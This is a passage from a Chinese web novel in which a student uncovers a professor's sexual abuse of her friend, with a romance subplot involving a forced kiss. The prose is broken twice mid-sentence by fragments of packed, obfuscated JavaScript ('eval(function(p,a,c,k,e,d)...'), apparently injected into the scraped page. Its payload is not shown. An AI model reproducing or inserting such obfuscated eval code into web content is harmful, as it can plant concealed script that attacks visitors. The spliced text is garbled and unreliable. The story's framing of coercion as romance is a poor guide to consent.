而讲台上的李明德正拧开保温杯喝水,似乎也并不急着回家。 梁舒音收拾好东西,倒数第五个出了教室,她一路步行去附近的小吃街,买了杯少糖的青柠水。 常温的青柠水被她一口气喝完,心跳因为喝得太猛而急速跳动起来。 她看了眼时间,十五分钟了。 差不多了。 她将空塑料杯扔进垃圾桶,朝着那栋老旧的办公大楼走过去。 一楼大厅没人,白炽灯年久失修,忽明忽暗,像鬼影闪烁。 从走廊望过去,这层楼只有两个办公室开着灯。 她踩着楼梯上了二楼。 来的路上,梁舒音一直在想,她宁愿不要这所谓的进展,也不想林语棠落入虎口。 然而,当她立在二楼尽头那间唯一亮着灯的办公室外,听见林语棠被扭曲的声音时,她脑子骤然一片空白。 “李老师,你别这样...” 林语棠的哭腔从室内传来,断断续续的,压抑而惶恐。 “装什么,又不是第一次了。” 李明德终于揭下伪善的面具,嗓音里的诱哄意味,令人作呕。 “穿这么厚的外套不热吗?来,老师帮你脱了...” 梁舒音脑子里嗡嗡作响,脚下虚浮,她整个人没站稳,往后一个踉跄。 中午还在电梯外的那个维修牌,不知何时挪到了这里,她后退时,小腿撞在牌子上。 刹那间,寂静楼道发出一声刺耳的“滋拉”声。 “谁?” 李明德一声低呵,随即朝着门口寻来。 男人的皮鞋声一下一下,像鼓点般,重重踩踏在她的心跳上。 危险渐近。 梁舒音两条腿却像是被定在了原地,僵硬得无法动弹。 “砰——” 办公室大门被李明德用力拉开。 惨白的光线从室内溢出。 梁舒音脑袋一片空白。 26. 秘密 楼梯间的门板后面,漆黑无光的世界。 梁舒音屏住呼吸,一手捂着几乎快冲破喉咙的心跳,一手捂着自己的嘴。 走廊里,李明德似乎在门口顿住了脚步。 两秒后,他朝着楼道走了过来。 “咔哒”一声,手电筒的光射入楼道,光源在漆黑狭窄的空间,四处扫射。 楼上,楼下。 接着,那束光朝木门后的位置缓缓移动。 就在李明德伸手去拉木门时,楼道忽然响起一声刺耳的喵呜声。 一只不知从哪儿冒出来的野猫,猝不及防冲撞到李明德身上。 李明德被吓得往后一躲,松开了拉着木门的手。 那只野猫从他身上噌地越过,又踩着地上的维修牌,跃上窗台,喵呜一声溜走了。 楼道再度安静下来。 “小畜生!” 李明德像是松了口气,拍了拍身上的猫毛,关掉手电筒,回到了办公室内。 握紧的拳头松开,后背早就出了一层虚汗,她靠在黑暗中,深深地吸了口气。 这时,室内再度传来李明德不堪入耳的话。 “不是想发文章吗?只要你乖乖听话,老师一定会帮你。” “可是老师,我今天身体不舒服...” “棠棠,你知道我最喜欢你哪点吗?” 胃里翻江倒海,她实在听不下去了,按亮手机电筒的光,轻声抬脚下了楼。 从一楼大堂走出去,凉风扑面而来,梁舒音像是重新回到了现实世界。 刚才的那一幕太过荒唐、荒谬。 像午夜的一场噩梦。 逃离这栋办公大楼,快步走到下面的名人雕塑旁,她急忙从兜里摸出手机,拨了通电话出去。 电话被挂断了。 再拨。 继续被挂断。 第三回,终于被接起。 “喂棠棠,你还在李老师那里吗?” 她紧紧握住电话,边框将掌心勒出红印,极力控制着声音里的抖动。 “电影快开场了,得赶快过去。我和可可过来接你,我们已经到办公楼下了,是210教室对吧?” 她用极快的语速,一口气将话说完,生怕电话被人故意挂断。 林语棠在那头明显顿了下,“不用了,我马上下来。” 挂掉电话,梁舒音随手在牛仔裤上擦了下掌心的冷汗,转头朝不远处那个灯光昏黄的办公室看去。 谁能想到,在这样一节正常的晚课之后,夜色中的这栋教师办公室,会暗藏着一个如此丑陋的世界。 没几分钟,她就看见一个娇小的身影,从前方大厅跑出来,确定是林语棠后,她总算彻底松了口气。 然而对方一路低头小跑,神色仓皇,丝毫没注意到路边的她。 擦身而过时,她叫了声,“棠棠。” 林语棠闻声,顿住脚步,神情恍惚地回过头。 看清梁舒音的霎那,她脑袋里轰地一声,像被一辆火车碾过。 某种羞耻的情绪,钻进了她的每一个毛孔。 将她吞噬。 甚至比刚才被李明德欺负还令她感觉耻辱。 刚才她脑袋空白,真以为自己忘了什么看电影的约定,只庆幸这通电话来得及时。 然而此刻,她却醍醐灌顶,倏然明白刚才那通电话的来意。 梁舒音听到了她跟李明德的那些对话,她故意打电话来替自己解困。 又或者,她其实中午就已经知晓了。 “棠棠?” 见她发怔,梁舒音伸手去牵她,女孩却像触电般,神色惶恐地缩了手,连连后退两步。 “我...我先回去了。” 她语无伦次地说完这句话,就仓皇逃走了。 梁舒音正要抬脚去追,手腕被人用力拉住。 她下意识回过头,看清那人时,满脸惊诧,“陆祁溟?” “没事吧?” 他盯着她的脸,面色担忧。 她下意识朝林语棠跑走的方向瞥了眼,从他掌中抽出手,“没事。” 又追问:“对了,你怎么来了?” “谁让你不回信息。” 她摸了摸后颈,别开视线,“刚刚在上课,没看手机。” 夜色中,男人的那双眼睛深邃又明亮,像一对射灯,仿佛下一秒就能穿透她的心。 她转移话题,“你这么晚来找我,是有什么重要的事吗?” 陆祁溟没拆穿她,双手插兜,盯着校道上来往的学生,又转回目光。 “我明天出差,过段时间才回。如果遇到麻烦了,可以给我电话,我会找人帮你解决。” 她下意识就想嘴硬地反驳说“我能遇见什么麻烦”,但转念想到之前的种种鲁莽行为,顿时偃旗息。 虽然她并不会找他,但还是礼貌地跟他说了声,“谢谢。” “对了,你膝盖怎么样了?”她礼尚往来地关心了一句。 “不怎么样。”陆祁溟幽幽盯着她。 “什么意思?”她下意识蹙眉。 “梁舒音,还好你之前没答应我。” 他似笑非笑,顷身靠近,“否则,以后跟别人说起自己的男朋友是个瘸子,是不是会很丢人?” 她凝眸盯着他,认真辨别这话的真假,紧接着又担忧地看向他的膝盖。 刚才他拉她的时候,脚步似乎是有些踉跄的。 “你...” 不会真瘸了吧? “如果真的瘸了呢?”他盯着她,半真半假,“你要负责吗?” 她沉默了两秒,“我...” “好了——” 陆祁溟适可而止,抬手揉她脑袋,“跟你开玩笑的,看你吓成什么样了。” 她半信半疑盯着他,眉头一点没舒展。 “不信?” 陆祁溟突然抬手,敲了敲膝盖骨,“看吧,什么事儿也没有。” 梁舒音提着的一颗心落回胸膛。 但转念又有点生气,“你能不能别拿这种事开玩笑?” 陆祁溟微挑眼角,“我不这样,怎么知道你还挺关心我的。” 起码没有一口拒绝。 “无聊。” 她丢下这句话,转头就要离开。 “好了,我的错。” 陆祁溟拽住她胳膊,将人扯进怀里,“有事记得联系我。” 她本能地想挣扎,但仰头,却恰好瞧见男人眼下因为没休息好的暗沉阴影,还有那分明疲惫但又无比认真的神情。 也许是动了恻隐之心,她任由他抱着自己,点了点头。 “嗯,那你也出差顺利。” 陆祁溟很意外她没推开自己,虽然他清楚,其中怜悯的成分更多。 但这不重要。 他弯唇轻笑,故意压低嗓音,在她耳边气声撩拨道:“别太想我。” 早知道这人得寸进尺,她就不该心软。 梁舒音推开面前这堵滚烫的墙,将垂落的发丝拨到耳后,一双眼冷淡下来。 “你快回去吧,我还有事,也要回宿舍了。” “好。” 男人散漫慵懒地从喉头滚出一个音,却没急着离开,而是抄手立在原地,目送她单薄的背影渐行渐远。 她穿着件白色T恤,即便铺天盖地的黑,也无法吞噬的那种白。 脚步急促,脊背却依旧笔挺,仿佛这世上没什么能让她低头似的。 然而,等她的身影彻底消失校道拐角处,陆祁溟却突然脸色一变,深皱着眉头,从牙缝里挤出一声疼痛难忍的“嘶”。 刚才为了让她相信,那一拳敲得有些重了。 他伸手扶树,微躬着身体,粗粝宽大的指节撑在树皮上,因为太过用力,凸起的青筋沿着手臂蔓延至了结实的小臂。 秦授的车在这时开到他面前。 他伸手拉开副驾驶的车门,躬身进去,靠在椅背上,缓了好一阵子。 “哎陆祁溟,你是不是有自虐倾向?”秦授扔了瓶水给他。 刚才两人在医院争执不下,他最终妥协,瞒着医生亲自开车带他过来,不过只给了他一个小时的时间。 陆祁溟却没回答秦授的问题。 透过车窗,他将视线投向不远处,那栋绿树掩映的老旧办公楼,凝眸陷入了深思。 起初,他是在来的路上看见她的身影,一路慢悠悠跟着,却发现她进了那栋楼。 以为她是进去找老师,他没打扰她,便在楼下找了颗树靠着,抽着烟等她。 没过几分钟,就瞧见她下楼,脚步仓皇,面色煞白,彷徨无措的样子,像是受到了什么惊吓。 紧接着,她拿出手机拨了通电话出去,他视力不错,清楚地注意到她握着电话的手竟然在发抖。 那栋楼里究竟发生了什么,会让向来胆大的她,如此仓皇失措? 思索间,一旁秦授的电话铃声将他思绪打断。 “陆医生放心,我们真没离开医院太远,就在附近散步呢。” “好好好,马上回来。” 挂了电话,秦授将手机扔在中控上,一腔无名火发泄在极度不满的语气里。 “老陆,你说你追人,凭什么我要替你担惊受怕,还要替你挨骂?” 陆祁溟从那栋光线阴暗的老楼转回视线,拧开前方的电台,靠回椅背上,慢条斯理地开口。 “新酒吧的股份,再多给你一成。” 秦授顿时闷气顿消,咳咳清了清嗓子,方向盘一拐,嘴角上扬。 “还是老陆大方。” 梁舒音刚到宿舍门外,就听见了陈可可含糊的声音。 “哎棠棠,你知道音音去哪儿了吗?我这话剧社的牛马都当完了,她竟然还没回来。” “我不知道呢。” 林语棠比往常更虚弱无骨的声音从对面传来,陈可可只以为她困了,没察觉到任何异样。 在门外静了片刻后,梁舒音推门进去,恰好撞上林语棠转头过来时,闪躲的目光。 “你去哪儿了?” 陈可可嘴里含着糖,手上摊着本漫画,从桌上跳下来。 梁舒音不想撒谎,看向仓皇低头的林语棠。 “我去找林语棠了。” “啊?” 嗅到一丝不对劲,陈可可狐疑的视线在两人之间来回穿梭。 林语棠却在此时蹭一下从凳子上起来,走到衣柜旁,翻出睡衣,紧紧抱在怀里,语气慌张地开口。 “我先去洗澡了。” 梁舒音却没再给她逃避的机会。 “棠棠,你没有什么要对我说的吗?” 林语棠背对着她,停住了脚步。 “如果你还把我当作朋友,就告诉我到底发生了什么。” 她顿了下,攥紧拳头,“我和可可...都会帮你的。” 林语棠没说话,但肩膀却一上一下,抖动了起来。 也不知过了多久,她终于转过身来,一双眼通红,泛着泪,神色间满是无助的恐惧。 “音音。”她颤抖着嗓音,“我好害怕。” 夜风清冷,树影憧憧。 林语棠的声音像一捧烛火,戚戚而脆弱,仿佛风一吹,就会熄灭。 “一开始,我以为是我对戏剧的热爱,吸引了他的关注,后来才知道是自己天真了。” “那他有没有...” 梁舒音顿了下,艰难地吐出两个字,“得逞。” 林语棠抬手抹了下眼角,低垂着头颈,迟滞地摇头。 “前段时间,他把我骗去他老婆开的茶社,给我下了迷药,脱了我的衣服,拍了...” 上下牙齿打颤,林语棠实在说不下去了,缓了好半晌才强忍着开口。 “他趁我昏迷时拍了那种照片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林语棠点头,“知道的,我之前就是因为看了他在网上的那些文学讲座,才有了报考虞大中文系的想法。” 梁舒音看着她,艰难沉缓地开口。 “他是我爸。” 林语棠的瞳孔慢慢睁大,满脸震惊,连呼吸都屏住了。 梁蔚的事她很清楚,当年那件事刚发生时,她无论如何也不相信。 后来,因为证据不足,梁蔚并没有被定罪。但网上那些风言风语却并未消散,反而愈演愈烈。 “只是证据不足,不代表他没做过那种事。” “是啊,不然人家女学生干嘛指控他,而不是指控别人?” “肯定是背后有关系有背景,才这么轻易就被放过了。” 诸如此类,无凭无据的质疑和带着恶意的揣测,她看得太多,也曾气愤地跟键盘侠拼命地辩驳。 但没用,一石激起千层浪,她的解释无人在意,反而引来更强烈的反扑。 直到梁老师去世,那些网暴他的人才终于住了嘴。 只是她不明白,这件事跟梁舒音说的“受害者”,有什么关系。 “我爸是清白的。” 梁舒音淡漠的目光中燃起一团仇恨的火焰,“而那件事背后的指使者,就是李明德。” 林语棠瞪大红肿的眼,被震惊得几乎说不出话,甚至一时忘记了自己遭受的那些痛苦。 “所以,我考进虞大的文学系,很大程度上是为了替我父亲寻得一个真相,为他沉冤昭雪。” 林语棠张了张嘴,像是没法在短时间消化这个匪夷所思的消息。 半晌,她伸手去握梁舒音,转瞬从受害人变成了安抚人,“音音。” 梁舒音反手握住她,目光笃定,“你相信我吗?” 相信我一定能找到尘封的真相。 一定能将李明德送进监狱。 也一定,能将你、还有其他那些被他玩弄的女生救出水火。 林语棠眨着湿漉漉的眼睫,仰头望着梁舒音。 她从小性格内敛,说好听了是安静乖巧,实则是懦弱自卑。 被李明德欺负时,她明明是受害者,却因为害怕而不敢反抗,甚至羞于将这件事说出口。 但此刻,她却从梁舒音身上看见了她不曾有过、却一直渴望的东西。 那种势必要与黑暗抗争到底的决心,那种哪怕粉身碎骨也要寻到真相的勇敢和无畏。 浑身血液都沸腾了起来。 她好像从梁舒音身上获得了某种强大的力量。 “嗯。” 她重重点头,一改软弱的模样,目光坚定,“我也要跟你一起。” “加我一个。”陈可可握住她俩的手,“你俩别想把我丢下。” 一夜倾谈,交换信息后,这件事的难点还是摆在了几人面前。 这两年,梁舒音一直跟踪李明德,拍了不少他行为不端的证据,然而几次匿名举报却都石沉大海。 或许只是证据还不够确凿清晰。 又或许,情况比想象中更为糟糕,他背后有人,有强大的势力在保着他。 如果是这样,那就不得不改变思路了。 继续守株待兔下去,拍到的证据再多,也是没用的。 梁舒音正琢磨着,就听陈可可忽然提起了一件事。 “上学期,他班上有个叫江莱的女生退学了,你们知道吗?” 梁舒音点点头。 她之前曾怀疑江莱的退学跟李明德有关,去她老家找过,但人已经不在了。听邻居说,好像是出国治病了。 林语棠一脸雾水,“哪个江莱?” “就是那个跟你一样,老喜欢穿白色连衣裙,头发长长的女生。” 白色连衣裙? 电光火石间,梁舒音脑子里闪过什么。 她拉开抽屉,慌慌张张从里头翻出一个铁盒。盒子是上了锁的,钥匙一直放在包里,随身携带着。 从书包的内侧摸出那把密匙般的小钥匙,插入锁孔时,她连手都在微微发抖。 盒子打开,一张白裙女孩的照片浮现在眼前。 她只扫了眼,便看向其余两人,眼里浮现某种大雾散去的兴奋。 “我知道了!” 27. 探病 作为课代表,林语棠每周五都会将班里的作业收齐了,送到李明德办公室去。 这次是梁舒音替她送去的。 她一改往日的装扮,穿着身无暇的白色长裙,乌发及腰,敲开了李明德办公室门。 “李老师,林语棠病了,我替她来送戏剧鉴赏课的作业。” “好,放这儿吧。” 李明德端起保温杯喝了口,漫不经心看向她,下一刻,眼神忽然定住。 “你是林语棠的同学?” 他视线在梁舒音身上游离,慢慢将保温杯的盖子旋上。 “嗯,我跟棠棠都是一班的。” 梁舒音牵起唇角,“我也选了李老师的这门戏剧鉴赏课。” 李明德有些意外,因为这张五官精致的脸,他没有一丁点儿印象。 他用玩笑的语气道:“是不是逃课了?” “没有呢。” 梁舒音继续保持唇角上扬的弧度,低垂的眸子既让她乖巧十足,也柔和了五官原本的明艳。 “李老师学识渊博,上课又那样风趣幽默,我逃什么课也不会逃李老师的课。” “可能是因为我之前喜欢坐最后一排,所以李老师对我没什么印象。” 李明德看着眼前乖顺内敛的女孩,若有所思地点头。 “嗯。” 李明德忽然伸手,轻拍了下她交叠在身前的手,“辛苦了,回去上课吧。” “好的,李老师。” 回到宿舍,刚推开门,梁舒音就被焦急等待的陈可可拽进去。 “怎么样了?”她火急火燎问。 梁舒音径直冲去了阳台。 她拧开水龙头,按压了两泵洗手液,用力搓洗着手心手背,反复洗了三次,才关上水龙头。 随后扯了两张纸巾,边擦,边面无表情地道:“他这次,应该是注意到我了。” 陈可可和林语棠兴奋地对视一眼。 “你说这败类是不是有什么初恋情结啊,你不过是换了身清纯的打扮,竟然就对你有兴趣了。” “或许吧。”梁舒音将纸巾扔进垃圾桶。 李明德喜欢穿着白色连衣裙,且性格乖顺的女孩。 这是她那晚总结出的规律。 因为不管是林语棠,还是他班上那个退学的女生,亦或是几年前污蔑梁蔚的那个学生,无一例外,都是这一挂的。 从李明德刚才粘在她身上的目光看,她应该没猜错。 “不过,你这样会不会很危险。”事情终于有了进展,陈可可反倒开始担心了。 “是啊。”林语棠也忧心忡忡,“如果他像之前对我那样,对你动手动脚...” 梁舒音淡然一笑,“放心,我有分寸。” “倒是棠棠,你记住了,如果他最近找你,你就找借口躲着他。” “可是我说了要跟你一起去寻找证据的,我不想躲在你背后,当个懦夫。” 梁舒音摇头,“你已经给了我很大的帮助了,如果不是你,我根本就找不到突破口。” “我后面肯定会需要你的帮助,但现在你得先保护好自己。” 林语棠迟疑地点了点头。 九月底,虞海的阴天总比晴天多,天空灰白惨淡,像一个郁郁不得志的青年。 自从那次在李明德办公室出现后,他的选修课,梁舒音也从教室最后一排,挪到了第一排。 从前她躲着李明德的目光,生怕他发现自己的存在,生怕暴露了身份。 但现在她才明白,不入虎穴,焉得虎子,最危险的地方,才是最接近真相的地方。 她也会按照林语棠提供的李明德的行程路线,刻意制造一些校园偶遇,在同行的几人中,李明德的视线明显会在她身上多做停留。 这更进一步增长了她的信心。 只是他这人太过谨慎,虽然对她感兴趣,却没急着做出任何越矩的行为。 直到国庆的前一天。 林语棠收到了李明德发来的信息,邀请她俩国庆节去参加一个戏剧交流活动,地点在他老婆的那间清风茶舍。 “去吗?” 林语棠紧紧攥着手机,心跳快破出喉咙。 “去。” 梁舒音盯着她,彼此对视,秒懂了对方眼里的意思。 这是个绝佳的机会,两年的等待,说不定成败就在这次。 “好,那我这次跟你一起。” “棠棠,你别...” 林语棠打断她:“我不能再找借口了,李明德那么精明,他一定会怀疑的。” “而且,音音,我是真的很想跟你并肩作战。” 梁舒音思忖了半晌,迟疑地点头。 “好吧,不过到时候你必须听我的指令,千万别擅自行动,也别跟他单独相处。” “好。” “你们要去哪儿啊?” 陈可可刚从卫生间出来,人有点犯困,没听清两人刚才的对话。 “我和棠棠在商量晚上去哪儿吃大餐。”梁舒音收拾着桌面的书,面不改色地道。 陈可可没怀疑这话,打着哈欠,含糊道:“也是,天天吃食堂都腻了。” 手机响起,她摸出来看了眼,圆溜溜的眼睛顿时一亮。 “今天秦授生日,他让咱俩过去玩儿。” 她观察着梁舒音的神色,又迟疑地补充了一句,“不过,派对的地点在陆祁溟家哎。” 这段时间陆祁溟都没联系她,应该是出差还没回来。 不过,他在不在,她都不想去。 几乎没犹豫,梁舒音语气利落地回复说:“我还有事,就不去了。” 早料到她会拒绝,陈可可不紧不慢喝了口水,偷瞄她一眼,状似无意地吐槽。 “你说人家陆祁溟都做手术了,他还在人地盘搞事,也不怕自己兄弟休息不好。” 梁舒音将书码整齐,正要塞进旁侧的书柜,闻言,停下手中的动作,疑惑地看向陈可可。 “什么手术?” “你不知道吗?” 陈可可一脸惊奇。 “听秦授说,陆祁溟前阵子做了膝盖手术啊,好像是因为之前那次比赛,他旧伤复发了。” 梁舒音脑子里在思考问题,手上不觉卸了力,书没放好,栽下来,“咚”一声砸在桌面上。 其余两人都被砸得心脏一跳,她却好似没听见似的,也没去捡,只扭头问陈可可。 “什么时候的事?” “具体不知道哎,听说是昨天才刚出的院。” 梁舒音点了点头,将书重新放好,拿着玻璃杯走到饮水机旁,接了杯水,又讷讷地走回书桌旁。 她小口小口抿着水,呆呆坐着。 原来,这就是他所谓的出差。 那晚他来学校找她,她分明察觉到他膝盖有问题,他却用插科打诨的方式在她这里蒙混过了关。 她还骂了即将做手术的他,骂他竟然拿这种事来跟她开玩笑。 原来不是玩笑话。 他是真的受了很严重的伤。 他分明可以用这件事来道德绑架她,或者在她这里博得一些同情分。 但他却没有。 将那杯水喝完后,她捧着杯子沉默了稍许,对陈可可说:“那去吧。” “好勒。” 陈可可眉眼弯弯,像是松了一大口气,“我下午没课,那我先过去帮忙了。” 梁舒音此刻心事重重,也没注意到陈可可一脸得逞的表情,点了点头。 “好。” 下午上完一堂选修课后,她回宿舍换了件衣服。 陆祁溟是因为她才旧伤复发的,她去探病,自然不能空着手。 但琢磨半天,她发现自己并不了解他的喜好,最后索性去学校的水果店,买了一提不会出错的果篮。 拎着果篮到陆祁溟家时,已经接近傍晚了。院外停了不少豪车,大门就在眼前,她立在门口,却有些犹豫了。 无数次提醒自己离他远一点,却又总是被迫靠近,也不知道这样的纠缠,何时才是尽头。 她盯着那扇花园的大门,如果现在走,还来得及。 然而,没等她纠结出一个结果,面前的大门却突然被人打开了。 “怎么不进来?” 秦授见她手头拎着水果篮,主动伸手去接,梁舒音却缩了手。 她从包里摸出个牛皮纸袋,递过去。 “生日快乐。” 原来果篮不是给他的,这个牛皮纸袋才是。 觑了眼没封口的纸袋,秦授猜到里面是什么。 拿现金作生日礼物? 还真够敷衍。 秦授微微挑眉,揣着胳膊,没伸手去接,“你人来就行了,这礼物就不必了。” 梁舒音点点头,也没强求,从善如流地收回了袋子。 秦授:“...” “这果篮是给陆祁溟的?” “嗯。” “给我吧,我替你先收着,不然很有可能会被客厅那群人瓜分完。” “谢谢。” 梁舒音跟着秦授进去,问他:“可可呢?” “在厨房帮忙。” “需要我帮什么忙吗?”她随口客套了句。 秦授忽然转过身,笑看着她:“陆祁溟在楼上睡觉,你帮我把他叫下来吧。” 睡觉? 他那种脾气的人,应该会有起床气吧。 她才不要去触霉头。 而且在卧室那样私密的地方,单独跟他呆着,也是一件极度危险的事。 毕竟他是一个在大庭广众下,都敢强吻她的人。 “哎秦授,我...” 能不能不去。 话问出口时,生日主角已经被人簇拥着离开了,她叹口气,只能硬着头皮去帮这个忙。 宴客厅已经聚满了一群打扮精致的俊男美女,聊天玩牌的、弹琴碰杯的...沸反盈天。 不想被人发现,梁舒音低着头,迅速溜去了楼梯间。 上了二楼后,她盯着右手边尽头那间房,脚步极慢地一步步挪过去。 走到门口,她深吸口气,决定轻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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男人知道她在求助,却依旧纹丝不动,反倒像看戏一样,抱着胳膊,懒洋洋靠在门边。 “怕什么,不是说自己铁石心肠吗?” 她轻咬下唇,瞪了眼悠哉的男人,像是破罐破摔,转头就要离开。 然而刚抬脚,手腕却忽然被人握住。 不等她反应过来,她已经被拽进了他的卧室中。 关上门的瞬间,陆祁溟顺手把头顶的灯也关了。 他拽得急,惯性使然,梁舒音身体撞在墙上,脑袋蓦地往后一仰。 但却没有磕在冷硬的墙上,因为一只宽大的掌心,适时垫在她后脑勺上,替她承受了猛烈的撞击。 室内只留了盏床头灯,光线昏昧。 门外的女人在轻声敲门,门内两人却在暗光中对视,彼此都在压抑着急促心跳的深|喘。 这样的欲盖弥彰,反而让刻意压制的呼吸声,在交融时更加暧昧明晰。 梁舒音忽然觉得此情此刻,似曾相识。 简兮生日那天,她在酒吧喝醉了,为了躲钟煦,也是误闯了他的房间。 然后他们... 察觉到不对劲时,男人带着酒精味的呼吸已经靠近了。 她脑袋一偏,他粗粝滚烫的唇,刮蹭过她柔嫩的脖颈,她被灼烧般,浑身微微一抖。 她早就料到了,进入他的地盘,她必定不能全身而退。 这个男人,到底知不知道什么叫礼义廉耻... “陆祁溟,你能不能别乱来。” 她压着嗓子,在灼热交织的呼吸中,用微抖的嗓音,没什么威慑力地控诉他。 经历过太多次被他逗弄的无赖行径,她都没脾气了,连语气都没那么急迫了,只是用双手推拒在他胸前,不让他靠得太近。 “我有吗?” 他在她耳边哼笑,鼻息滚烫,“我这不是在帮你吗?不然你想现在出去?” 她静了两秒,平复男人喷在耳中的呼吸带来的紊乱心跳。 “谢谢你的帮忙,那你可以放开我了吗?” “梁舒音——” 陆祁溟对她的话置若罔闻,气声溢在她耳畔,缱绻暧昧。 “这段时间,我很想你。” 他的气息实在太烫,像在她毛孔上点燃了无数个小火苗,她感觉周身每一寸皮肤都灼热得几乎快烧起来。 她下意识挪动身体,想离危险的火种远一些,结果下一秒,双手被他霸道蛮横地禁锢在了头顶。 身体被他全然控制,气息被他侵入,她难受得闷哼一声,一时半会没顾得上挣扎。 于是男人得寸进尺地含住她耳垂,牙齿轻轻刮蹭着,舔舐玩弄片刻,又松了口,唇贴着往下。 略显粗糙的唇,在她细嫩的皮肤上激起一阵阵让她浑身瘫软的颤栗。 他极有耐心地亲吻着她颈侧,低沉蛊惑的嗓音,喑哑到了极致。 “你呢,想我了没?” 28. 失控 那句情话像咒语,带着滚烫的温度,随着他的唇一同落下,从梁舒音敏感的耳膜处瞬间燃遍全身。 被他这样肆无忌惮地亲着蹭着,她脑袋昏沉,浑身瘫软,几乎失去了反抗的能力。 直到脖子又被他用力嘬了口,安静空间发出暧昧粘腻的声响,她才清醒过来,脸颊烫得要烧起来。 “陆祁溟,你放开我。”她低斥他。 男人恍若未闻,唇贴着她脖颈曲线,继续往下舔咬痴缠,束着她的手却更加用力。 她整个人都成了他的囊中之物。 无法动弹的她,只能咬牙骂道:“流氓。” 男人顿了下,混不吝地低笑一声,“那就让你见识下流氓的本性。” 她盯着这样失控的他,忽然有些害怕。 他说过不会强迫她的,但此刻他却像狩猎的猎人,盯着猎物的眼神炙热、疯狂,像是势在必得。 “继续骂啊。” 他鼻尖蹭着她脸颊,蛊惑着突然安静下来的人,似乎她的声音也是他的兴奋剂。 “你...” 张嘴的瞬间,男人忽然偏头,趁机撬开她的唇,于是剩下的话被他吞进了喉咙。 他含着她的唇,用舌尖耐心描摹着她的唇廓,再慢慢探入,刮过牙齿,攀上她的舌,迫不及待地纠缠吸附上去。 淡淡的酒精味弥漫在口腔,晕晕乎乎中,梁舒音恍然意识到,他当真喝了酒。 可她是清醒的,为什么此刻竟配合他张了嘴,任由他的唇舌与自己交|缠,而胸膛里的那颗心,也随着彼此的深入纠缠,狂跳到让她窒息。 不能再这样下去了。 她硬撑着最后一丝理智,张嘴,狠狠咬在他的唇上。 男人闷哼了声,却没立刻松口,直到淡淡腥味在口腔弥漫,才离开她的唇。 “属狗的?” 他用指腹抹下唇角,另外一只手仍然将她双手束着。 “你再这样,我就叫人了。” 她眼神倔强清冷地瞪着他,嗓音还在发颤,一张小脸冷白中透着红晕,频添了几分惊心动魄的美。 看着这样动人的她,陆祁溟的眸色越发深沉晦暗,“你知不知道,你这个样子,更像是...” 他俯身靠近,“在引|诱我。” 话音落,唇舌再度缠上她,然而不等他深入,膝盖忽然被人用力顶了下。 “嘶——” 陆祁溟停下动作,下意识弯了腰。 使出浑身力气顶出膝盖后,梁舒音才反应过来,他膝盖处刚做了手术。 一颗刚落下的心,骤然又提了起来。 “你没事吧?” 借着那盏微弱的光线,她看见他脸色发白,额头已经布满了细密的汗珠。 陆祁溟一手撑墙,微弓着背,没应声。 几秒后,他抬头睨她,人像是清醒了过来。 “对不起陆祁溟,我不是有意的。”她嗓音发涩。 他顿了下,深吸了口气,只缓缓道:“走吧。” 从被强迫的欲|望中挣脱,她应该很高兴才对,可他倏然冷淡下来的样子,却让她心里忽然变得空落落的。 陆祁溟看她一眼,缓缓直起腰,径直走向了落地窗前的那个灰色长沙发。 他拿起沙发上的遥控,按了下,整面墙的窗帘缓缓拉开。 昏昧空间顿时置于光中。 将遥控一扔,他大剌剌坐下,双手横在沙发靠背上,闭上了眼。 他这个卧室面积很大,是个开放式套房空间,没有分隔的墙体和柱子。 她站在门口,一眼就能望到他的床、全透明的浴室、衣帽间。 男人一身深蓝色睡衣,仰靠在沙发上,身后是森林般密密覆盖的绿植。 日光从朝南的整面落地窗透进,光打在他脸上,他一动不动,只是眉头微皱着。 大概是没听见离开的脚步声,陆祁溟缓缓睁眼。 “趁我还没反悔前,下去。”他有气无力地“恐吓”她。 梁舒音杵在原地没动。 “怎么?还想继续。” 痛得只能用气声讲话的人,眼底带笑,语气半真半假。 梁舒音没理会他的挑逗,走到他面前,居高临下看着他,视线落在他膝盖上。 她蹲下,伸手去掀他浴袍,“你有药吗?要不要我帮你上...” 手腕被男人锁住了。 梁舒音稍微仰头,视线和他齐平,“天不怕地不怕的陆祁溟,还怕被人看见伤口?” 没落入她激将的陷阱,陆祁溟反而闷笑一声,抬手掐住她下巴。 “想看也可以,做我女朋友,想看哪儿都行。” 梁舒音拍开他的手,起了身,冷冷开口,“看来你伤得并不重,那我就先走了。” 然而,刚起身,她就察觉到一丝不对劲。 靠回沙发上的男人,脸上透着不寻常的红,她想起刚才拽住她的那只手也很烫。 “陆祁溟,你是不是病了?”她立在沙发旁,狐疑又担心。 男人没理她,只是胸口起伏明显,呼吸异常粗重。 她微微弯腰,试探性摸他的额头。 很烫。 刚才吻她时,她以为他身上的热是因为欲|望的膨胀,此刻才意识到,他发烧了。 她在原地停留了几秒,转头离开了他的房间。 听到脚步声渐远,陆祁溟才缓缓睁开眼。 本以为脑袋的昏沉,是膝盖的痛引发的,所以他十几分钟前喝了点酒,试图麻痹这一身的不适。 直到刚才她的手放在他额头,他才意识到,他竟然发烧了。 他有些懊恼,希望没传染给她。 大门被“咔哒”一声关上。 她走了。 像是石头落地,他沉沉呼出一口气,缓缓闭上了眼。 大约几分钟后,就在他几乎快沉入睡眠时,卧室的门却被推开了。 去而复返的人一手提着食盒和一小袋药,一手拿着水杯,再次出现在他面前。 他有些意外。 她竟然没走。 梁舒音将沙发旁的不规则木几拖过来,把东西放在上面,然后从兜里摸出一个小型体温枪。 “陆祁溟,你发烧了,得量一下|体温。” 男人懒懒掀起眼皮,睨着她,既不说话,也没伸手去接体温枪。 她无奈,只能走过去,半跪在沙发上,拿着东西在他耳朵里测了下。 男人没躲,乖乖地任由她摆布。 39.8° 都烧成这样了,一点感觉都没有? 她对上他的视线,将腹诽的话咽下,拿过木几上的食盒,打开了,递给他。 “先吃饭,再吃药。” 粥是秦授提前吩咐厨师熬好的,说是陆祁溟这几天胃口都不好,除了粥几乎吃不下其他的。 瘫靠在沙发上的人终于开口,歪着脑袋看她。 “你不是我女朋友,没必要在这里浪费时间照顾我。” 